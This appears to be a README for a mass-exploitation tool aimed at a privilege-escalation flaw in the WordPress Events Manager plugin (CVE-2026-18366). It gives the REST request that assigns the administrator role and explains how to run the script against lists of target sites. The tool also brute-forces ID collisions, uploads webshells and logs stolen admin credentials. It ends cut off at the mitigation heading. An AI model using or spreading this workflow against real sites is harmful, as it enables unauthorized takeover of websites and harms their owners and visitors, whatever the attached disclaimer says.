CVE-2026-18366

Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator

🔗 Stay Updated

For the latest zero-days, exploits, and security research

📋 Vulnerability Overview

🔍 Technical Description

Root Cause Analysis

The vulnerability exists in EM\Archetypes::map_meta_cap within classes/em-archetypes.php. The plugin improperly scopes its capability mapping by:

1. Treating ANY object ID as a post ID
2. If the post is an event or location CPT, it wipes $caps = []
3. Never refills capabilities for edit_user, delete_user, or promote_user
4. Empty caps → has_cap() returns true, including for user 0 (guest)

Attack Vector

POST|PUT|PATCH  /wp-json/wp/v2/users/{id}
POST            /index.php?rest_route=/wp/v2/users/{id}

Body: {"password":"...","roles":["administrator"]}

Condition: {id} must equal wp_posts.ID of an event or location CPT.

⚠️ Unauthenticated REST does not require a nonce (no logged-in cookie).

Guest Booking Exploitation

Guest bookings (dbem_bookings_anonymous=1 by default) create real WP users, enabling collision forcing. The booking nonce is publicly available on event forms.

🚀 Usage

Requirements

pip install aiohttp

Quick Start

python CVE-2026-18366.py

The script will prompt for:

• list → Path to target list file (default: list.txt)
• speed → Concurrent workers (default: 10)

Command Line Options

python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30

Target List Format

Create a list.txt file with one target per line:

https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com

📊 Output

Console Output

[+] [HH:MM:SS] target.com  ADMIN  username:password  uid=X  path
[+] [HH:MM:SS] target.com  SHELL  https://target.com/wp-content/plugins/...

Results File

Successful compromises are saved to adminS.txt:

https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url

🔄 Exploitation Workflow

┌─────────────────────────────────────────────────────────────────┐
│                    CVE-2026-18366 Flow                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ┌──────────┐    ┌─────────────┐    ┌──────────────────────┐   │
│  │  Detect  │ →  │ Collect IDs │ →  │  PATH A: ID Brute    │   │
│  │  Plugin  │    │  (CPT/HTML) │    │  REST /users/{id}    │   │
│  └──────────┘    └─────────────┘    └──────────┬───────────┘   │
│                                                 │               │
│                                          ┌──────▼──────┐        │
│                                          │   Success?  │        │
│                                          └──────┬──────┘        │
│                                       No │      │ Yes           │
│                               ┌──────────▼──────▼──────────┐    │
│                               │                            │    │
│  ┌──────────────────────┐     │    ┌─────────────────┐     │    │
│  │  PATH B: Guest Book  │ ←───┘    │  Login + Verify │     │    │
│  │  Create user until   │          │  Admin Access   │     │    │
│  │  user_id == post_id  │          └────────┬────────┘     │    │
│  └──────────────────────┘                   │              │    │
│                                    ┌────────▼────────┐     │    │
│                                    │  Upload Shell   │     │    │
│                                    │  (Plugin/Theme) │     │    │
│                                    └────────┬────────┘     │    │
│                                             │              │    │
│                                    ┌────────▼────────┐     │    │
│                                    │   Save Results  │     │    │
│                                    │   adminS.txt    │     │    │
│                                    └─────────────────┘     │    │
│                                                            │    │
└────────────────────────────────────────────────────────────────┘

⚙️ Features

• Async Architecture → High-performance concurrent scanning
• Dual Attack Paths → ID collision + Guest booking exploitation
• Auto Shell Upload → Plugin/Theme webshell deployment
• Version Detection → Automatic vulnerable version identification
• Smart Username Enum → Multiple enumeration techniques
• Login Verification → Cookie + XML-RPC validation
• Privilege Escalation → Auto-promote to administrator

📁 File Structure

├── CVE-2026-18366.py    # Main exploit script
├── list.txt             # Target URLs (create this)
├── adminS.txt           # Successful results (auto-created)
└── README.md            # This documentation

⚠️ Disclaimer

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║                                                                  ║
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║                                                                  ║
║  • Only use on systems you own or have explicit permission      ║
║  • Unauthorized access to computer systems is ILLEGAL           ║
║  • The author is NOT responsible for any misuse or damage       ║
║  • By using this tool, you agree to these terms                 ║
║                                                                  ║
║  Use responsibly. Stay ethical. Respect the law.                ║
║                                                                  ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Mitigation

If you are a WordPress administrator: